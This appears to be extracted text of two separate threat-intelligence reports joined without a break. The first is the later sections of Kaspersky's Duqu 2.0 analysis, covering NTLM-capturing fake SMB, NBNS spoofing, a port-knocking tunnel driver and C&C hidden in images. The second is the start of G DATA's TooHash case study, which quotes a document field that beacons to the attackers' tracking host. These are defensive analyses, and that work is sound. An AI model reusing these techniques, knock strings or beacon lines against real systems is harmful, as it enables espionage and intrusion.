Uses a legitimate WinPcap driver npf.sys.
Detects NBNS (NetBIOS protocol) requests of interest and sends its own responses: Responds to WPAD requests (FHFAEBE in NBNS packets) Sends responses to HTTP GET requests The network filter is based on the BPF library.
The payloads for the HTTP and WPAD responses are provided externally.
6FAC - File API Get file size, attributes Securely delete a file Open/close/read/write file contents Additional known variants: A7EE 7BDA  Collects system information Current state of AV and firewall protection using wscapi.dll API Detect if sqlservr.exe is running Computer name Workgroup info Domain controller name Network adapter configuration Time and time zone information CPU frequency Additional known variants: EF2E Fake HTTP response and related status messages.
mailto:intelreports40kaspersky.com?subject THE DUQU 2.0 Technical Details28 For any inquiries, please contact intelreportskaspersky.com 7C23  Extracts metadata from documents and collects system information Computer name System volume serial Complete file API as in 6FAC Searches for documents and archives and implements routines to extract all valuable information from them: E-mail messages: eml, msg Image files: jpg, jpe, jpeg, tif, tiff, bmp, png Multimedia files: wmv, avi, mpeg, mpg, m4a, mp4, mkv, wav, aac, ac3, dv, flac, flv, h264, mov, 3gp, 3g2, mj2, mp3, mpegts, ogg, asf.
These are re-encoded with libffmpeg.
Contents from PDF documents Microsoft Office: doc, docx, xlsx, pptx.
Dedicated routines are called accordingly: OfficeRipDoc, OfficeRipDocx, OfficeRipXlsx, OfficeRipPptx.
PPT slides are extracted and converted to a HTML digest of the presentation.
Archives: gz, gzip, gzX3, zip, rar Creates temporary files with extension .fg4.
Additional known variants: EB18, C091 Part of the list of file extensions of interest and corresponding status messages.
mailto:intelreports40kaspersky.com?subject THE DUQU 2.0 Technical Details29 For any inquiries, please contact intelreportskaspersky.com 8172 - Sniffer-based network attacks.
Performs NBNS (NetBIOS protocol) name resolution spoofing for: WPAD requests Names starting with SHR Names starting with 3142 (log only) Additional feature: the module can build new shellcode blobs from hardcoded templates.
81B7  Driver management Write driver to disk Start/stop driver Safely remove the drivers file from disk Additional known variants: C1B9 Status messages related to the attack.
mailto:intelreports40kaspersky.com?subject THE DUQU 2.0 Technical Details30 For any inquiries, please contact intelreportskaspersky.com 8446 - Oracle DB and ADOdb client.
Uses oci.dll API to access Oracle databases Extracts all available information from the database Also connects to ADOdb providers 8912  Encrypted file manipulation and collects system information Shared file mapping communication Write encrypted data to files Enumerate windows Enumerate network shares and local disks Retrieve USB device history Collect network routing table Known mutex and mapping names: Global\DD0FF599-FA1B-4DED-AC70-C0451F4B98F0  Global\B12F87CA-1EBA- 4365-B90C-E2A1D8911CA9, Global\B03A79AD-BA3A-4BF1-9A59-A9A1C57A3034 Global\6D2104E6-7310- 4A65-9EDD-F06E91747790, Global\DD0FF599-FA1B-4DED-AC70-C0451F4B98F0 Global\B12F87CA-1EBA- 4365-B90C-E2A1D8911CA9 SQL queries and related data.
mailto:intelreports40kaspersky.com?subject THE DUQU 2.0 Technical Details31 For any inquiries, please contact intelreportskaspersky.com Additional known variants: D19F, D2EE 9224  Run console applications.
Creates processes using desktop Default, attaches to its console and redirects its I/O to named pipes.
92DB - Modified cmd.exe shell.
9F0D (64-bit), D1A3(32-bit)  legitimate signed driver NPF.SYS (WinPcap) distributed inside the VFS along with the plugins.
It is used for sniffer-based network attacks.
A4B0  Network survey Uses DHCP Server Management API (DHCPSAPI.DLL) to enumerate all DHCP servers clients Queries all known DHCP sub-networks Searches for machines that have ports UDP 1434 or 137 open Enumerates all network servers Enumerates network shares Tries to connect to remote registries to enumerate all users in HKEY_USERS, converts them to SIDs B6C1 - WNet API.
Provides wrappers for the WnetAddConnection2 and WNetOpenEnum functions.
Additional known variants: BC4A Several CMD commands processed by the shell.
mailto:intelreports40kaspersky.com?subject THE DUQU 2.0 Technical Details32 For any inquiries, please contact intelreportskaspersky.com C25B  Sniffer based network attacks.
Implements a fake SMB server to trick other machines to authenticate with NTLM.
Implements basic SMB v1 commands Pretends to have IPC and A: shares Accepts user authentication requests Also handles HTTP GET / requests SMB commands handled by the module NTLM challenge and SMB server data mailto:intelreports40kaspersky.com?subject THE DUQU 2.0 Technical Details33 For any inquiries, please contact intelreportskaspersky.com ED92  File system survey Enumerates all local drives and connected network shares Lists files EF97  Filesystem utilities Enumerate files Create and remove directories Copy/move/delete files and directories Extract version information from files Calculate file hashes Additional known variants: F71E PERSISTENCE MECHANISM The Duqu 2.0 malware platform was designed in a way that survives almost exclusively in memory of the infected systems, without need for persistence.
To achieve this, the attackers infect servers with high uptime and then re-infect any machines in the domain that get disinfected by reboots.
Surviving exclusively in memory while running kernel level code through exploits is a testimony to the technical prowess of the group.
In essence, the attackers were confident enough they can survive within an entire network of compromised computers without relying on any persistence mechanism at all.
The reason why there is no persistence with Duqu 2.0 is probably because the attackers wanted to stay under the radar as much as possible.
Most modern anti-APT technologies can pinpoint anomalies on the disk, such as rare drivers, unsigned programs or maliciously-acting programs.
Additionally, a system where the malware survives reboot can be imaged and then analyzed thoroughly at a later time.
With Duqu 2.0, forensic analysis of infected systems is extremely difficult  one needs to grab memory snapshots of infected machines and then identify the infection in memory.
However, this mechanism has one weakness in case of a massive power failure, all computers will reboot and the malware will be eradicated.
To get around this problem, the attackers have another solution  they deploy drivers to a small number of computers, with direct Internet connectivity.
These drivers can tunnel traffic from the outside into the network, allowing the attackers to access remote desktop sessions or to connect to servers inside the domain by using previously acquired credentials.
Using these credentials, they can re-deploy the entire platform following a massive power loss.
COMMAND AND CONTROL MECHANISMS Duqu 2.0 uses a sophisticated and highly flexible command-and-control mechanism that builds on top of the 2011 variant, with new features that appear to have been inspired by other top class malware such as Regin.
This includes the usage of network pipes and mailslots, raw filtering of network traffic and masking CC traffic inside image files.
mailto:intelreports40kaspersky.com?subject THE DUQU 2.0 Technical Details34 For any inquiries, please contact intelreportskaspersky.com Inside a Windows LAN, newly infected clients may not have a CC hardcoded in their installation MSI packages.
Without a CC, they are in dormant state and can be activated by the attackers over SMB network pipes with a special TCP/IP packet that contains the magic string tttttttttttttttt.
If a CC is included in the configuration part of the MSI file, this can be either a local IP address, which serves as a bouncing point or an external IP address.
As a general strategy for infection, the attackers identify servers with high uptime and set them as intermediary CC points.
Hence, an infected machine can jump between several internal servers in the LAN before reaching out to the Internet.
To connect the the CC servers, both 2011 and 2014/2015 versions of Duqu can hide the traffic as encrypted data appended to a harmless image file.
The 2011 version used a JPEG file for this the new version can use either a GIF file or a JPEG file.
Heres how these image files look like: Another modification to the 2014/2015 variants is the addition of multiple user agent strings for the HTTP communication.
The 2011 used the following user agent string: Mozilla/5.0 (Windows U Windows NT 6.0 en-US rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9 (.NET CLR 3.5.30729) The new variants will randomly select an user agent string from a table of 53 different possible ones.
mailto:intelreports40kaspersky.com?subject THE DUQU 2.0 Technical Details35 For any inquiries, please contact intelreportskaspersky.com Another unusual CC mechanism relies on driver files that are used to tunnel the CC communications and attackers RDP/SMB activity into the network.
The attackers deploy such translation drivers on servers with direct Internet connectivity.
Through a knocking mechanism, the attackers can activate the translation mechanism for their IPs and tunnel their traffic directly into the LAN.
Outside the LAN, the traffic can be masked over port 443 inside the LAN, it can be either direct SMB/RDP or it can be further translated over fake TCP/IP packets to IP 8.8.8.8.
During our investigation, we observed several such drivers.
A description can be found below.
The portserv.sys driver analysis MD5: 2751e4b50a08eb11a84d03f8eb580a4e Size: 14336 Compiled: Sat Feb 11 21:55:30 2006 (fake timestamp) Internal name: termport.sys Type: Win32 device driver (a 64 bit version is known as well) mailto:intelreports40kaspersky.com?subject THE DUQU 2.0 Technical Details36 For any inquiries, please contact intelreportskaspersky.com This is a malicious NDIS filter driver designed to perform manipulation of TCP/IP packets to allow the attacker to access internal servers in the victims infrastructure.
Upon startup, the filter driver hooks into the NDIS stack and starts processing TCP/IP packets.
To leverage the driver, the attacker first sends a special TCP/IP packet with the string romanian.antihacker to any of the hardcoded IPs belonging to infected server.
In general, such servers are computers with direct Internet connectivity, such as a webserver or a proxy.
The driver sees the packet, recognizes the magic string romanian.
antihacker and saves the attackers IP for later use.
When a packet comes from the attackers IP (saved before), the following logic applies: Packet to server 1s IP on port 443, is redirected on port 445 (Samba/Windows file system) Packet from server 1s IP from port 445, is redirected to attackers IP port 443 Packet to server 2s IP on port 443 is redirected on port 3389 (Remote Desktop) Packet from server 2s IP from port 3389 is redirected to attackers IP port 443 This effectively allows the attackers to tunnel SMB (remote file system access) and Remote Desktop into these two servers while making it look like SSL traffic (port 443).
These drivers allow the Duqu attackers to easily access servers inside the LAN from remote, including tunneling RDP sessions over Port 443 (normally SSL).
It also gives them a persistence mechanism that allows them to return even if all the infected machines with the malware in memory are rebooted.
The attackers can simply use existing credentials to log back into any of the servers that the driver is serving and can re- initialize the backdoors from there.
Magic string used for knocking inside the driver.
mailto:intelreports40kaspersky.com?subject THE DUQU 2.0 Technical Details37 For any inquiries, please contact intelreportskaspersky.com SIMILARITIES BETWEEN DUQU AND DUQU 2.0 The 2014/2015 Duqu 2.0 is a greatly enhanced version of the 2011 Duqu malware discovered by 7CrySyS Lab.
It includes many new ideas from modern malware, such as Regin, but also lateral movement strategies and harvesting capabilities which surpasses commonly seen malware from other APT attacks.
Side by side: 2011 Duqu 2014/2015 Duqu 2.0 Number of victims: 50 (estimated) 100 (estimated) Persistence mechanism: Yes No Loader: SYS driver MSI file Zero-days used: Yes Yes Main storage: PNF (custom) files MSI files CC mechanism: HTTP/HTTPS, network pipes HTTP/HTTPS, network pipes Known plugins: 6 100 There are many similarities in the code that leads us to conclusion that Duqu 2.0 was built on top of the original source code of Duqu.
Those interested can read below for a technical description of these similarities.
7 https://www.crysys.hu/publications/files/bencsathPBF11duqu.pdf mailto:intelreports40kaspersky.com?subject https://www.crysys.hu/publications/files/bencsathPBF11duqu.pdf THE DUQU 2.0 Technical Details38 For any inquiries, please contact intelreportskaspersky.com One of the trademark features unique to the original Duqu was the set of functions that provide logging facilities.
Unlike many other APTs, Duqu logs almost every important step of its activity but does it in a special way: there are no readable strings written to the log.
Instead, a series of unique numbers identify every state, error, or message in the log.
Comparing the functions that generate every log entry in Duqu and Duqu 2.0, we can conclude that they are almost identical: The first generation of Duqu was also written in a very rare and unique manner.
It was compiled with Visual Studio and while parts of it were definitely written in C, the majority of its classes were not natively generated by the C compiler.
After analyzing all the possible variants, we conclude that these classes were written in OO-C, the objective variant of the C language, and then somehow converted into a compilable C/ C source.
All these classes had a very specific feature: the virtual function table of every instance was filled by hand in its constructor.
Interestingly, this is no longer the case for Duqu 2.0.
The authors upgraded their compiler from Visual Studio 2008 (used in 2011) to Visual Studio 2013 and now use classes that look much more like native C ones: On the left: the hand-made or compiler-assisted classed of OO-C in Duqu.
On the right: the same class in Duqu 2.0 has a native Vtable similar to native C one, however the offset of the pointer is not zero.
mailto:intelreports40kaspersky.com?subject THE DUQU 2.0 Technical Details39 For any inquiries, please contact intelreportskaspersky.com The more concrete evidence of similarity can be found if we look for functions that actually use the logging facilities.
The authors kept using the same unique numbers for identification of internal states, errors and function results.
Networking functions are good candidates for comparison: Implementation of the same networking function in Duqu and Duqu 2.0.
Note the same unique numbers (in red rectangles) PUSHed as parameters to the logging function.
mailto:intelreports40kaspersky.com?subject THE DUQU 2.0 Technical Details40 For any inquiries, please contact intelreportskaspersky.com The code of the orchestrator evolved in many aspects since 2011.
One of the notable differences is a huge list of HTTP User-Agent strings that are now used instead of a single hard-coded one: Another networking routine: after calling recv() to receive data from network, Duqu logs the results and possible network errors (obtained via WSAGetLastError()).
Unique numbers in red rectangles are used to identify the current state of the networking routine.
mailto:intelreports40kaspersky.com?subject THE DUQU 2.0 Technical Details41 For any inquiries, please contact intelreportskaspersky.com The authors also modified the magic two-byte value that identifies encrypted network traffic: SH was replaced with a more neutral and harder to trace WW: Both Duqu and Duqu 2.0 use special structures to identify the interfaces of their plugins.
The orchestrator also has one for the core plugin that is compiled in its code.
The newer version has a slightly bigger table, hence more functions, and a different notation for describing the plugin features.
Special strings (i.e.
A888A8) describe each functions signature.
The older Duqu had contained similar strings in binary (unreadable) form.
Code that verifies the magic value in network traffic.
The chars are swapped due to little-endianness of data in x86/64 architectures.
Data structure that describes the core plugin of Duqu and two different version of Duqu 2.0.
Note the same constants and similar functions.
mailto:intelreports40kaspersky.com?subject THE DUQU 2.0 Technical Details42 For any inquiries, please contact intelreportskaspersky.com The Duqu CC code makes use of small image files to hide its communications over unencrypted channels, i.e.
HTTP.
The original Duqu used a JPEG file, and known versions of Duqu 2.0 use a similar JPEG file as well as a new, larger GIF file.
Also, the layout of the data section did not change much: the image data is preceded by short AES encryption keys (string sh123456 in Duqu, two binary DWORDs in Duqu 2.0) followed by the LZO version string 2.03.
The large number of similarities between the Duqu 2011 code and the new Duqu 2.0 samples indicates that the new code represents a new iteration of the malware platform.
The new version could not have been built without access to the 2011 Duqu source code.
Hence, we conclude that the authors are the same or working together.
VICTIMS OF DUQU 2.0 Victims of Duqu 2.0 were found in several places, including western countries, the Middle East and Asia.
The actor appears to compromise both final and utilitarian targets, which allow them to improve their cyber capabilities.
Most of the final targets appear to be similar to their 2011 goals  which is to spy on Irans nuclear program.
Some of the new 2014-2015 infections are linked to the P51 events and venues related to the negotiations with Iran about a nuclear deal.
The threat actor behind Duqu appears to have launched attacks at the venues for some of these high level talks.
In addition to the P51 events, the Duqu 2.0 group has launched a similar attack in relation to the  870th anniversary event of the liberation of Auschwitz-Birkenau.
8 http://70.auschwitz.org/index.php?langen Image data used for hiding CC communication in them: JPEG in Duqu, similar JPEG in Duqu 2.0 and GIF in a different version of Duqu 2.0.
Note the preceding LZO version string 2.03 and encryption keys.
mailto:intelreports40kaspersky.com?subject http://70.auschwitz.org/index.php?langen THE DUQU 2.0 Technical Details43 For any inquiries, please contact intelreportskaspersky.com The other type of targets for the new attacks are what we call utilitarian targets.
These are companies that the attackers compromise to improve their cyber capabilities.
For instance, in 2011, the attackers compromised a certificate authority in Hungary obviously, this would allow them to generate digital certificates, which can be further used to sign malware samples.
The same pattern can be seen with the Duqu 2.0 infections.
Some of the companies infected with Duqu 2.0 operate in the sector of Industrial Control Systems as well as industrial computers.
ATTRIBUTION As usual, attribution of cyberattacks over the Internet is a difficult task.
In the case of Duqu, the attackers use multiple proxies and jumping points to mask their connections.
This makes tracking an extremely complex problem.
Additionally, the attackers have tried to include several false flags throughout the code, designed to send researchers in the wrong direction.
For instance, one of the drivers contains the string ugly.gorilla, which obviously refers to  9Wang Dong, a Chinese hacker believed to be associated with the APT1/Comment Crew.
The usage of the Camellia cypher in the MSI VFSes, previously seen in APT1-associated Poison Ivy samples is another false flag planted by the attackers to make researchers believe they are dealing with APT1 related malware.
The romanian.antihacker string used in the portserv.sys driver is probably designed to mimic w00tw00t.at.blackhats.romanian.anti-sec requests that are often seen in server logs or simply point to an alleged Romanian origin of the attack.
The usage of rare compression algorithms can also deceptive.
For instance, the LZJB algorithm used in some of the samples is rarely seen in malware samples it has been used by MiniDuke which we reported in early 2013.
Nevertheless, such false flags are relatively easy to spot, especially when the attacker is extremely careful not to make any other mistakes.
During our 2011 analysis, we noticed that the logs collected from some of the proxies indicated the attackers appear to work less on Fridays and didnt appear to work at all on Saturdays, with their regular work week starting on Sunday.
They also compiled binaries on January 1st, indicating it was probably a normal work day for them.
The compilation timestamps in the binaries seemed to suggest a time zone of GMT2 or GMT3.
Finally, their attacks would normally occur on Wednesdays, which is why we originally called them the Wednesday Gang.
While the 2014 attack against Kaspersky Lab also took place on a Wednesday, the gang made huge OPSEC improvements compared to their older 2011 operations, including faking all the timestamps in PE files, removing the debug paths and internal module names for all plugins.
The 2014 Duqu 2.0 binaries contain several strings in almost perfect English but one of them has a minor mistake indicating the involvement of non-native speakers.
The usage of Excceeded instead of Exceeded in the file-harvesting module of Duqu 2.0 is the only language mistake we observed.
9 http://www.fbi.gov/wanted/cyber/wang-dong/view mailto:intelreports40kaspersky.com?subject http://www.fbi.gov/wanted/cyber/wang-dong/view THE DUQU 2.0 Technical Details44 For any inquiries, please contact intelreportskaspersky.com Most interesting, one of the victims appear to have been infected both by the Equation Group and by the Duqu group at the same time this suggests the two entities are different and competing with each other to obtain information from this victim.
CONCLUSIONS During the 2011 Duqu attacks, we concluded that its main purpose could have been to spy on Irans nuclear program.
Some of the victims appear to have been utilitary, such as one certificate authority in Hungary, which was compromised by Duqu and ultimately that led to its discovery.
The group behind Duqu hacks these utilitary victims in order to gain certain technical abilities such as signing their malware with trusted certificates or to serve as platforms for further attacks.
The 2014/2015 Duqu 2.0 appears to be a massive improvement over the older Tilded platform, although the main orchestrator and CC core remains largely unchanged.
Back in 2011 we pointed out to the usage of  10Object Oriented C as an unusual programming technique.
The 2014 version maintains the same core, although some new objects in C have been added.
The compiler used in the 2014 is newer and it results in different code optimizations.
Nevertheless, the core remains the same in functionality and it is our belief it could not have been created by anyone without access to the original Duqu source code.
Since these have never been made public and considering the main interest appears to have remained the same, we conclude the attackers behind Duqu and Duqu 2.0 are the same.
The targeting of Kaspersky Lab represents a huge step for the attackers and an indicator of how quick the cyber-arms race is escalating.
Back in 2011 and 2013 respectively,  11RSA and  12Bit9, were hacked by Chinese-language APT groups, however, such incidents were considered rare.
In general, an attacker risks a lot targeting a security company because they can get caught and exposed.
The exact reason why Kaspersky Lab was targeted is still not clear  although the attackers did seem to focus on obtaining information about Kasperskys future technologies, Secure OS, anti-APT solutions, KSN and APT research.
10 https://securelist.com/blog/research/32354/the-mystery-of-duqu-framework-solved-7/ 11 https://blogs.rsa.com/anatomy-of-an-attack/ 12 https://blog.bit9.com/2013/02/08/bit9-and-our-customers-security/ Misspelling of the word Exceeded in Duqu 2.0.
mailto:intelreports40kaspersky.com?subject https://securelist.com/blog/research/32354/the-mystery-of-duqu-framework-solved-7/ https://blogs.rsa.com/anatomy-of-an-attack/ https://blog.bit9.com/2013/02/08/bit9-and-our-customers-security/ THE DUQU 2.0 Technical Details45 For any inquiries, please contact intelreportskaspersky.com From a threat actor point of view, the decision to target a world-class security company must be quite difficult.
On one hand, it almost surely means the attack will be exposed its very unlikely that the attack will go unnoticed.
So the targeting of security companies indicates that either they are very confident they wont get caught, or perhaps they dont care much if they are discovered and exposed.
By targeting Kaspersky Lab, the Duqu attackers have probably taken a huge bet hoping theyd remain undiscovered and lost.
For a security company, one of the most difficult things is to admit falling victim to a malware attack.
At Kaspersky Lab, we strongly believe in transparency, which is why we are publishing the information herein.
For us, the security of our users remains the most important thing  and we will continue to work hard to maintain your trust and confidence.
REFERENCES 1.
Duqu: A Stuxnet-like malware found in the wild https://www.crysys.hu/publications/ files/bencsathPBF11duqu.pdf 2.
Duqu: The Precursor to the next Stuxnet http://www.symantec.com/content/en/us/ enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_ next_stuxnet.pdf 3.
The Mystery of Duqu: Part One https://securelist.com/blog/incidents/31177/the- mystery-of-duqu-part-one-5/ 4.
The Mystery of Duqu: Part Two https://securelist.com/blog/incidents/31445/the- mystery-of-duqu-part-two-23/ 5.
The Mystery of Duqu: Part Three https://securelist.com/blog/incidents/31486/the- mystery-of-duqu-part-three-9/ 6.
The Mystery of Duqu: Part Five https://securelist.com/blog/incidents/31208/the- mystery-of-duqu-part-five-6/ 7.
The Mystery of Duqu: Part Six (The Command and Control Servers) https://securelist.
com/blog/incidents/31863/the-mystery-of-duqu-part-six-the-command-and- control-servers-36/ 8.
The Mystery of Duqu: Part Ten https://securelist.com/blog/incidents/32668/the- mystery-of-duqu-part-ten-18/ 9.
The Mystery of Duqu Framework Solved https://securelist.com/blog/research/32354/ the-mystery-of-duqu-framework-solved-7/ 10.
The Duqu Saga Continues https://securelist.com/blog/incidents/31442/the-duqu- saga-continues-enter-mr-b-jason-and-tvs-dexter-22/ 11.
CrySyS Blog: Duqu 2.0 http://blog.crysys.hu/2015/06/duqu-2-0/ mailto:intelreports40kaspersky.com?subject https://www.crysys.hu/publications/files/bencsathPBF11duqu.pdf https://www.crysys.hu/publications/files/bencsathPBF11duqu.pdf http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf https://securelist.com/blog/incidents/31177/the-mystery-of-duqu-part-one-5/ https://securelist.com/blog/incidents/31177/the-mystery-of-duqu-part-one-5/ https://securelist.com/blog/incidents/31445/the-mystery-of-duqu-part-two-23/ https://securelist.com/blog/incidents/31445/the-mystery-of-duqu-part-two-23/ https://securelist.com/blog/incidents/31486/the-mystery-of-duqu-part-three-9/ https://securelist.com/blog/incidents/31486/the-mystery-of-duqu-part-three-9/ https://securelist.com/blog/incidents/31208/the-mystery-of-duqu-part-five-6/ https://securelist.com/blog/incidents/31208/the-mystery-of-duqu-part-five-6/ https://securelist.com/blog/incidents/31863/the-mystery-of-duqu-part-six-the-command-and-control-servers-36/ https://securelist.com/blog/incidents/31863/the-mystery-of-duqu-part-six-the-command-and-control-servers-36/ https://securelist.com/blog/incidents/31863/the-mystery-of-duqu-part-six-the-command-and-control-servers-36/ https://securelist.com/blog/incidents/32668/the-mystery-of-duqu-part-ten-18/ https://securelist.com/blog/incidents/32668/the-mystery-of-duqu-part-ten-18/ https://securelist.com/blog/research/32354/the-mystery-of-duqu-framework-solved-7/ https://securelist.com/blog/research/32354/the-mystery-of-duqu-framework-solved-7/ https://securelist.com/blog/incidents/31442/the-duqu-saga-continues-enter-mr-b-jason-and-tvs-dexter-22/ https://securelist.com/blog/incidents/31442/the-duqu-saga-continues-enter-mr-b-jason-and-tvs-dexter-22/ http://blog.crysys.hu/2015/06/duqu-2-0/ 2015 Kaspersky Lab.
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Google is a registered trademark of Google, Inc. Kaspersky Lab, Moscow, Russia www.kaspersky.com All about Internet security: www.securelist.com Facebook.com/Kaspersky Twitter.com/Kaspersky Youtube.com/Kaspersky Find a partner near you: www.kaspersky.com/buyoffline Eugene Kaspersky Blog Kaspersky Lab B2B Blog Kaspersky Lab Academy Kaspersky Lab HQ 39A/3 Leningradskoe Shosse Moscow, 125212 Russian Federation More contact details Tel: 7-495-797-8700 Fax: 7-495-7978709 Securelist, the ressource for Kaspersky Lab experts technical research, analysis and thoughts Kaspersky Lab B2C Blog Kaspersky Lab security news service Follow us www.kaspersky.com www.securelist.com facebook.com/Kaspersky twitter.com/Kaspersky youtube.com/Kaspersky www.kaspersky.com/buyoffline http://www.eugene.kaspersky.com http://business.kaspersky.com http://business.kaspersky.com http://academy.kaspersky.com http://www.kaspersky.com/about/contactinfo/contacts_global_hq http://securelist.com Executive summary initial attack Lateral movement Analysis of a Duqu 2.0 MSI package File properties First Layer: ActionDLL (msi.dll) Second Layer: ActionData0 Third Layer: klif.dll Attacking AVP.EXE CTwoPENC.dll zero-day and KMART.dll Payload Containers and Migration Payload type L Payload run type G Payload run type I Payload run type K Payload run type Q Platform plugginable modules Persistence mechanism Command and control mechanisms The portserv.sys driver analysis Similarities between Duqu and Duqu 2.0 Victims of Duqu 2.0 Attribution Conclusions References
G DATA SECURITYLABS CASE STUDY OPERATION TOOHASH HOW TARGETED ATTACKS WORK G DATA SecurityLabs Case Study CONTENTS Executive Summary .......................................................................................................................................................................... 2 The Malware used 2 Information Stealing 2 Campaign Analysis ........................................................................................................................................................................... 3 Targets 3 Spear Phishing Campaign 3 The Exploit used 3 Tracking System 4 Malware Analysis 1: Cohhoc, the RAT ...................................................................................................................................... 5 Components 5 Variants 5 Persistence 6 Features 6 Obfuscation Layer 7 Network Communication 7 Malware Analysis 2: DirectsX, the Rootkit ............................................................................................................................... 9 Dropper 9 Binary Signature 9 The Driver 10 Injected dll 11 Command and Control Servers ................................................................................................................................................... 11 Attribution ........................................................................................................................................................................................ 12 Conclusion ........................................................................................................................................................................................ 12 Appendix: IOC .................................................................................................................................................................................. 13 Hashes 13 Cohhoc File names 14 DirectsX - File names 14 DirectsX - Device 14 DirectsX - Symlink 14 DNS 14 IPs 14 Copyright  2014 G DATA Software AG   1 G DATA SecurityLabs Case Study Executive Summary The experts of G DATAs SecurityLabs discovered a cyber-espionage campaign that perfectly exemplifies the way how targeted attacks work.
The purpose of this campaign was to steal valuable documents from the targeted entity.
We entitle this operation TooHash.
The attackers modus operandi is to carry out spear phishing using a malicious Microsoft Office document as an attachment.
The attackers do not choose their targets indiscriminately, which we derive from the fact that they sent specially crafted CV documents, probably to human resources management employees.
Naturally, the recipients are inclined to open such documents on a daily base.
The majority of discovered samples were submitted from Taiwan.
As part of the documents are in Simplified Chinese which is used in the Chinese mainland and others in Traditional Chinese which is used in Hong Kong, Macao and Taiwan, these malicious documents might have been used against targets in the whole Greater China area.
The Malware used The attached documents exploit a well-known and rather aged vulnerability (CVE-2012-0158) to drop a remote administration tool, or RAT for short, onto the targeted users computer.
During the campaign, we identified two different pieces of malware.
Both include common cyber-espionage components such as code execution, file listing, document exfiltration and more.
We discovered more than 75 command and control servers, all used to administrate infected machines.
The servers were mainly located in Hong Kong and the USA.
Furthermore, the administration panels language, used by the attackers to manage infected systems, was partly written in Chinese and partly in English.
The exploit used by the attackers is identified and blocked by G DATAs Exploit Protection technology and G DATAs security solutions detect the dropped binaries as Win32.Trojan.
Cohhoc.
A and Win32.Trojan.
DirectsX.A respectively.
Information Stealing Nowadays, trade secrets describe one of the major values of almost every company.
Therefore, begrudged competitors may be tempted to steal valuable sensitive information for their purposes.
The leak of sensitive documents can be a disaster for a company and lead to large financial losses.
Furthermore, governmental entities use sensitive, private or classified documents.
Intelligence agencies may be interested to obtain such documents.
Copyright  2014 G DATA Software AG   2 http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2012-0158 G DATA SecurityLabs Case Study Campaign Analysis Targets The analyzed samples used in the TooHash campaign were Microsoft Office documents, and were submitted to us from a Taiwanese customer.
An indication leading to the target area is one of the documents used by the attackers, which contained the string 102 which means end of the year 102.
The official calendar used in Taiwan starts in 1912 (year 1), so the year 102 is the year 2013 according to the Gregorian calendar (19111022013).
We conclude that the targets are entities located in the Greater China area and on the name of another document used by the attacker called .doc which translates to resume of Li Hui.
Another lead, suggesting that the attacks occurred in the Greater China area, is the fact that the majority of samples available on VirusTotal were originally submitted from Taiwan.
The DNS-name of the CC server contained information about affected companies.
Here is a list of some targeted entities: Public research organization Space research organization Telecom companies Private companies Spear Phishing Campaign To drop the malware onto the targeted computer and to control the system, the attackers chose to carry out a spear phishing campaign.
This campaign comprised a Microsoft Office document being sent to the victim.
A probable entry point for a manipulated CV would be an HR department.
If the document is opened with an outdated Microsoft Office version, malware is installed by exploiting vulnerability CVE-2012-0158.
To appear credible, the attackers selected the targeted users and the type of the attached documents cleverly.
For example, a Microsoft Office Word document called resume of Li Hui.doc.
The document title as well as the content was written in Simplified Chinese.
The titles of the attacking documents involved are as follows: .xls (file list) [Simplified Chinese] .doc (resume of Li Hui) [Simplified Chinese] 102103.xls (End of the year 102, year 103 Spring Menu) [Traditional Chinese] The Exploit used To explain the exploit used, we have a look at the Word document, the ostensible CV.
The mentioned exploit causes Microsoft Word to crash, which might alert attacked users just right away.
In our case, the attackers crafted their malicious document in a special way to conceal the software crash: The malicious .doc causes a crash, but moments after the crash a legitimate Word session opens up and, to the user, everything appears to be normal.
Nevertheless, cautious users might suspect malicious actions behind such activities and notify security staff.
The CV that comes with the legitimate Word document (Wo.doc) is written in Chinese characters and style used in the Chinese mainland.
Nevertheless, this sample has also been submitted to us from Taiwan.
Copyright  2014 G DATA Software AG   3 http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2012-0158 G DATA SecurityLabs Case Study Tracking System The resume visible to the user (Wo.doc) holds a tracking mechanism: Li Huis picture, visible in the document as the blank square on the right hand side, is not stored locally but stored on the Internet.
The following tag, inside the document, reveals this function: As soon as the document is loaded, a network query is performed and notifies the attacker about the successful exploit and the availability of a newly infected machine.
We identified two types of malware used to administrate the infected machines: Cohhoc and DirectsX.
The first one is a classic Remote Administration Tool.
The second one is more advanced and of a different kind, the malware is a rootkit.
It is executed in kernel mode.
The RAT and the rootkit both share the same command and control infrastructure.
Screenshot 1: Screenshot of the legitimate document which opens after resume of Li exploited Word  INCLUDEPICTURE http://mymail2.kmdns.net/track/ms.asp?keyjianliAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \ MERGEFORMAT \d  Copyright  2014 G DATA Software AG   4 G DATA SecurityLabs Case Study Malware Analysis 1: Cohhoc, the RAT Components The malware is divided into three parts: Component 1: the dropper, used to install the second component into a specific directory and to execute it.
This first file is removed after the execution of the second component Component 2: a binary, used to unpack the third component and to execute it Component 3: the payload this is the real malicious part, the core of the malware.
The second component is installed into a subfolder of the directory APPDATA (for example in APPDATA\Microsoft\).
Known file names for the files used during the campaign discussed: svchost.exe and conime.exe.
The second component works similarly: It decrypts the payload.
The payload is encrypted with AES.
We identified different keys for different samples.
It then loads the decrypted payload into the memory.
Once decrypted, the payload is a Windows dynamic library (.dll).
It executes the loaded library.
In case you are interested in information regarding the unpacking of this malware, please feel free to contact us using toohash.securitybloggdata.de Variants During the TooHash campaign, we were able to identify two variants of Cohhoc.
Those two versions can be distinguished by looking at the creation of the respective mutex after the malware is started: H2_COMMON_DLL (before September 2013) NEW_H2_COMMON_DLL (after September 2013) The main difference between the two malware variants is the handling of the payload (component three).
In the earlier version, the payload is located within a resource inside component two.
In the later version, the payload is Screenshot 2: Mutex creation Copyright  2014 G DATA Software AG   5 G DATA SecurityLabs Case Study an additional file.
This additional file is stored in the same directory as the second component and its name is brndlog.
As small as this difference seems to be for a normal computer user, from a malware analysts point of view, it is a huge difference.
If, in the first case, the sample was found within a sample database, the analyst would be able to extract the payload and to analyze it right away.
